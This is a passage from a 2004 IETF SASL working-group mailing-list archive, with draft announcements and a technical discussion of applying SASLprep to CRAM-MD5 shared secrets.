IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-rfc2222bis-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-rfc2222bis-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-sasl Wed Jan 28 08:08:23 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8Nlg038857; Wed, 28 Jan 2004 08:08:23 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG8NhR038856; Wed, 28 Jan 2004 08:08:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8MsJ038849 for ; Wed, 28 Jan 2004 08:08:22 -0800 (PST) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06724; Wed, 28 Jan 2004 11:08:20 -0500 (EST) Message-Id: <200401281608.LAA06724@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-crammd5-02.txt Date: Wed, 28 Jan 2004 11:08:19 -0500 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : The CRAM-MD5 SASL Mechanism Author(s) : L. Nerenberg Filename : draft-ietf-sasl-crammd5-02.txt Pages : 7 Date : 2004-1-27 This document defines a simple challenge-response authentication mechanism, using a keyed-hash digest, for use with the Simple Authentication and Security Layer (SASL) A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-crammd5-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-crammd5-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-crammd5-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-sasl Thu Jan 29 06:53:18 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TErIvA017245; Thu, 29 Jan 2004 06:53:18 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TErIX7017244; Thu, 29 Jan 2004 06:53:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from HQ-SMTP.vsnl.co.in (mail.vsnl.co.in [202.54.117.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TErGnl017231 for ; Thu, 29 Jan 2004 06:53:17 -0800 (PST) (envelope-from Internet-Drafts@ietf.org) Received: from mail pickup service by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC; Thu, 29 Jan 2004 20:14:23 +0530 Received: from asgard.ietf.org ([132.151.6.40]) by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC(5.0.2195.6713); Wed, 28 Jan 2004 22:51:03 +0530 Received: from majordomo by asgard.ietf.org with local (Exim 4.14) id 1AlsFv-000745-IQ for ietf-announce-list@asgard.ietf.org; Wed, 28 Jan 2004 11:09:31 -0500 Received: from ietf.org ([10.27.2.28]) by asgard.ietf.org with esmtp (Exim 4.14) id 1AlsEq-0006vh-G3 for all-ietf@asgard.ietf.org; Wed, 28 Jan 2004 11:08:24 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06724; Wed, 28 Jan 2004 11:08:20 -0500 (EST) Message-Id: <200401281608.LAA06724@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-crammd5-02.txt Date: Wed, 28 Jan 2004 11:08:19 -0500 X-OriginalArrivalTime: 28 Jan 2004 17:21:04.0187 (UTC) FILETIME=[1BA7C8B0:01C3E5C3] Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : The CRAM-MD5 SASL Mechanism Author(s) : L. Nerenberg Filename : draft-ietf-sasl-crammd5-02.txt Pages : 7 Date : 2004-1-27 This document defines a simple challenge-response authentication mechanism, using a keyed-hash digest, for use with the Simple Authentication and Security Layer (SASL) A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-crammd5-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-crammd5-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-crammd5-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-sasl Thu Jan 29 10:53:12 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIrCA5037850; Thu, 29 Jan 2004 10:53:12 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TIrCtV037849; Thu, 29 Jan 2004 10:53:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from HQ-SMTP.vsnl.co.in (mail.vsnl.co.in [202.54.117.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIrAev037840 for ; Thu, 29 Jan 2004 10:53:11 -0800 (PST) (envelope-from Internet-Drafts@ietf.org) Received: from mail pickup service by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC; Fri, 30 Jan 2004 00:29:30 +0530 Received: from asgard.ietf.org ([132.151.6.40]) by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC(5.0.2195.6713); Wed, 28 Jan 2004 22:48:35 +0530 Received: from majordomo by asgard.ietf.org with local (Exim 4.14) id 1AlsFv-00073q-9K for ietf-announce-list@asgard.ietf.org; Wed, 28 Jan 2004 11:09:31 -0500 Received: from ietf.org ([10.27.2.28]) by asgard.ietf.org with esmtp (Exim 4.14) id 1AlsEe-0006uz-HC for all-ietf@asgard.ietf.org; Wed, 28 Jan 2004 11:08:12 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06692; Wed, 28 Jan 2004 11:08:08 -0500 (EST) Message-Id: <200401281608.LAA06692@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-rfc2222bis-05.txt Date: Wed, 28 Jan 2004 11:08:07 -0500 X-OriginalArrivalTime: 28 Jan 2004 17:18:37.0937 (UTC) FILETIME=[C47BCE10:01C3E5C2] Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : Simple Authentication and Security Layer (SASL) Author(s) : A. Melnikov Filename : draft-ietf-sasl-rfc2222bis-05.txt Pages : 11 Date : 2004-1-27 SASL provides a method for adding authentication support with an optional security layer to connection-based protocols. It also describes a structure for authentication mechanisms. The result is an abstraction layer between protocols and authentication mechanisms such that any SASL-compatible authentication mechanism can be used with any SASL-compatible protocol. This document describes how a SASL authentication mechanism is structured, how a protocol adds support for SASL, defines the protocol for carrying a security layer over a connection, and defines the EXTERNAL SASL authentication mechanism. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-rfc2222bis-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-rfc2222bis-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-sasl Wed Jan 7 09:53:57 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07Hrvib064298 for ; Wed, 7 Jan 2004 09:53:57 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07Hrup7064296 for ietf-sasl-bks; Wed, 7 Jan 2004 09:53:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07Hrtib064291 for ; Wed, 7 Jan 2004 09:53:56 -0800 (PST) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 7 Jan 2004 17:53:50 +0000 Message-ID: <3FFC47AD.6060208@isode.com> Date: Wed, 07 Jan 2004 17:53:49 +0000 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Kurt D. Zeilenga" CC: Rob Siemborski , ietf-sasl@imc.org Subject: Re: I-D ACTION:draft-ietf-sasl-rfc2222bis-04.txt References: <200312232035.PAA08146@ietf.org> <6.0.0.22.0.20031229133042.02716f20@127.0.0.1> In-Reply-To: <6.0.0.22.0.20031229133042.02716f20@127.0.0.1> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Kurt D. Zeilenga wrote: >At 12:48 PM 12/29/2003, Rob Siemborski wrote: > > >>On Tue, 23 Dec 2003 Internet-Drafts@ietf.org wrote: >> >> >>>A New Internet-Draft is available from the on-line Internet-Drafts directories. >>>This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. >>> >>> Title : Simple Authentication and Security Layer (SASL) >>> >>> >>Nit: Document states that it will be a draft standard, is this still the >>case or is the stringprep stuff forcing us to recycle at proposed? >> > >We'll be recycling at Proposed. > > Fixed in my copy. Alexey From owner-ietf-sasl Mon Jan 12 13:34:20 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CLYKib008810; Mon, 12 Jan 2004 13:34:20 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CLYKVt008809; Mon, 12 Jan 2004 13:34:20 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (115.216-123-230-0.interbaun.com [216.123.230.115]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CLYIib008803 for ; Mon, 12 Jan 2004 13:34:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 115.216-123-230-0.interbaun.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 681F865A55 for ; Mon, 12 Jan 2004 14:34:13 -0700 (MST) Date: Mon, 12 Jan 2004 14:34:09 -0700 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 stringprep text Message-ID: <2147483647.1073918049@115.216-123-230-0.interbaun.com> In-Reply-To: References: X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2003-12-1 11:39 PM +0100 Simon Josefsson wrote: > Hello, I have read the document. Some comments: > > ,---- >| The client MUST prepare the user name and shared secret strings >| using the [SASLPrep] profile of the [StringPrep] algorithm. The >| resulting values MUST be encoded as UTF-8 [UTF8]. > `---- > > I suggest adding: > > The server MUST prepare the shared secret string using the > [SASLPrep] profile of the [StringPrep] algorithm. The resulting > value MUST be encoded as UTF-8 [UTF8]. The server may store the > prepared string instead of, or as well as, the unprepared > string, so that it does not have to prepare it every time it is > needed for computation. However, if the original, unprepared > string, is not stored, it may render the computed secret to be > incompatible with a future revisions of SASLPrep that support > currently unassigned code points (compare section 7 of > [StringPrep]). It is therefor recommended to store the > unprepared string in the database. There was quite a bit of discussion over this suggestion, but I don't think we reached any consensus about including the additional text. I'm about to push a new draft, and would appreciate a hum over whether or not it should be added. --lyndon From owner-ietf-sasl Mon Jan 12 14:42:52 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMgqib011614; Mon, 12 Jan 2004 14:42:52 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMgqYe011613; Mon, 12 Jan 2004 14:42:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (KONISHI-POLIS.MIT.EDU [18.18.3.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMgoib011608 for ; Mon, 12 Jan 2004 14:42:51 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 01D0B1515FF; Mon, 12 Jan 2004 17:42:52 -0500 (EST) To: ietf-sasl@imc.org Subject: Things to discuss in Seoul Message-Id: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> Date: Mon, 12 Jan 2004 17:42:52 -0500 (EST) From: hartmans@mit.edu (Sam Hartman) Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Who will be there in Seoul? I'm trying to get a good idea of what drafts we can focus on for that meeting. Presumably regardless of attendance we'll try and do as much as we can on the base spec, stringprep, plain and anonymous. We are trying to get those drafts to the IESG. But among the remaining documents it may be better to focus time based on who is available. Also, if you have specific issues that need meeting time, please /let us know. From owner-ietf-sasl Mon Jan 12 14:38:40 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMcdib011463; Mon, 12 Jan 2004 14:38:39 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMcdPC011462; Mon, 12 Jan 2004 14:38:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (KONISHI-POLIS.MIT.EDU [18.18.3.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMccib011456 for ; Mon, 12 Jan 2004 14:38:39 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 35A5D1515FF; Mon, 12 Jan 2004 17:38:26 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> From: Sam Hartman Date: Mon, 12 Jan 2004 17:38:26 -0500 In-Reply-To: <2147483647.1073918049@115.216-123-230-0.interbaun.com> (Lyndon Nerenberg's message of "Mon, 12 Jan 2004 14:34:09 -0700") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'd like to hear from people who believe we should allow unassigned codepoints in cram-md5. From owner-ietf-sasl Mon Jan 12 14:34:39 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMYdib011343; Mon, 12 Jan 2004 14:34:39 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMYdJP011342; Mon, 12 Jan 2004 14:34:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMYcib011337 for ; Mon, 12 Jan 2004 14:34:38 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0CMYe4f001348; Mon, 12 Jan 2004 22:34:40 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.0.22.0.20040112140930.0435ea50@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.0.22 Date: Mon, 12 Jan 2004 14:34:35 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: ietf-sasl@imc.org In-Reply-To: <2147483647.1073918049@115.216-123-230-0.interbaun.com> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 01:34 PM 1/12/2004, Lyndon Nerenberg wrote: >--On 2003-12-1 11:39 PM +0100 Simon Josefsson wrote: > >>Hello, I have read the document. Some comments: >> >>,---- >>| The client MUST prepare the user name and shared secret strings >>| using the [SASLPrep] profile of the [StringPrep] algorithm. The >>| resulting values MUST be encoded as UTF-8 [UTF8]. >>`---- >> >>I suggest adding: >> >> The server MUST prepare the shared secret string using the >> [SASLPrep] profile of the [StringPrep] algorithm. The resulting >> value MUST be encoded as UTF-8 [UTF8]. The server may store the >> prepared string instead of, or as well as, the unprepared >> string, so that it does not have to prepare it every time it is >> needed for computation. However, if the original, unprepared >> string, is not stored, it may render the computed secret to be >> incompatible with a future revisions of SASLPrep that support >> currently unassigned code points (compare section 7 of >> [StringPrep]). It is therefor recommended to store the >> unprepared string in the database. > >There was quite a bit of discussion over this suggestion, but I don't think we reached any consensus about including the additional text. I'm about to push a new draft, and would appreciate a hum over whether or not it should be added. The suggestion seems quite odd to me. If SASLprep were to revised, that revision would allow for an expanded set of inputs (and likely with an expanded set of outputs). Or to put it another way, an input string which fails today's SASLprep might not fail tomorrow's SASLprep (producing either a new output or an old output). I would think it far better to recommend that servers refuse to store input strings and/or their prepared output of the input strings if the current SASLprep fails. Instead, they should report a error. This because it makes little sense to store a string which is useless day (in SASL). Kurt From owner-ietf-sasl Mon Jan 12 15:17:48 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNHmib013395; Mon, 12 Jan 2004 15:17:48 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CNHmgL013394; Mon, 12 Jan 2004 15:17:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [10.0.2.2] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNHkic013383 for ; Mon, 12 Jan 2004 15:17:47 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 12 Jan 2004 15:17:45 -0800 To: ietf-sasl@imc.org From: Paul Hoffman / IMC Subject: A different thought on saslprep Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Greetings again. Sorry for coming in so late on this, but three issues were just pointed out to me about this document and I thought they might be worthy of discussion. The first is an implementation issue. In order to use saslprep on the shared secret, the application needs to know the text encoding used to enter the shared secret. Until now, that has always been ASCII, so no big problem there. However, once we open up to the Unicode character set, we also open up to a zillion odd text encodings (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs will get the conversion from what the user entered for the shared secret into Unicode code points wrong? The second is shared secrets that aren't text. Is the shared secret always text, or is there a pure binary form? If so, you can't saslprep the pure binary form. I'm assuming this is a non-issue, but I might have not found the right place in the SASL draft. The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-sasl Mon Jan 12 15:43:11 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNhBib014551; Mon, 12 Jan 2004 15:43:11 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CNhB5n014550; Mon, 12 Jan 2004 15:43:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (115.216-123-230-0.interbaun.com [216.123.230.115]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNhAib014545 for ; Mon, 12 Jan 2004 15:43:10 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 115.216-123-230-0.interbaun.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 724CC65D91; Mon, 12 Jan 2004 16:43:06 -0700 (MST) Date: Mon, 12 Jan 2004 16:43:05 -0700 From: Lyndon Nerenberg To: Sam Hartman Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <2147483647.1073925785@115.216-123-230-0.interbaun.com> In-Reply-To: References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > I'd like to hear from people who believe we should allow unassigned > codepoints in cram-md5. Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything). --lyndon From owner-ietf-sasl Mon Jan 12 16:35:32 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D0ZWib017354; Mon, 12 Jan 2004 16:35:32 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D0ZWHa017353; Mon, 12 Jan 2004 16:35:32 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from smtp2.Stanford.EDU (smtp2.Stanford.EDU [171.67.16.116]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D0ZVib017344; Mon, 12 Jan 2004 16:35:31 -0800 (PST) (envelope-from Jeff.Hodges@KingsMountain.com) Received: from networking.Stanford.EDU (networking.Stanford.EDU [171.64.20.23]) by smtp2.Stanford.EDU (8.12.10/8.12.10) with ESMTP id 